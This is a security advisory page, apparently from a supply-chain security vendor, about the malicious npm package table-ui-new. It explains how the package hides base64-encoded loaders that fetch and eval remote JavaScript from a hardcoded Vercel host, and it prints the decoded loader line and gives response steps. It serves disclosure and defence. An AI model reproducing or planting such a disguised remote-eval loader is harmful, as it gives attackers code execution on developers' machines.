table-ui-newnpm
table-ui-new is a confirmed malicious npm package (MAL-2026-12473) that executes malicious code on install (malicious versions 2.7.1, 2.7.2, 2.7.4…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in table-ui-new (npm)
What this malware does
[email protected] ships dist/config.js, exposed via the package.json ./config subpath export, which exports a module-level array named HASHES containing four base64-encoded strings. Each string decodes to an IIFE of the form (async () => eval(await fetch('https://everydaynodechecker-39147n.vercel.app/api/key?mem=root[0-3]').then(r => r.text())))(); — an unconditional fetch of remote text from a hardcoded external Vercel host followed by eval() of the response. The misleading variable name HASHES disguises executable payloads as inert hash data. The main entry (dist/index.js) is a React hooks module and does not itself invoke these blobs, but the payloads are staged behind a public package export, and any consumer that imports table-ui-new/config receives the array of ready-to-eval remote-fetch IIFEs. The destination host is unrelated to the package's stated purpose (a React table UI library) and returns attacker-controlled JavaScript that would execute in the consumer's Node process with full host privileges.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for table-ui-new (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging table-ui-new across your stack and pipelines.
If you installed it — respond
Remove table-ui-new from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If table-ui-new was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks table-ui-new before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks table-ui-new-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.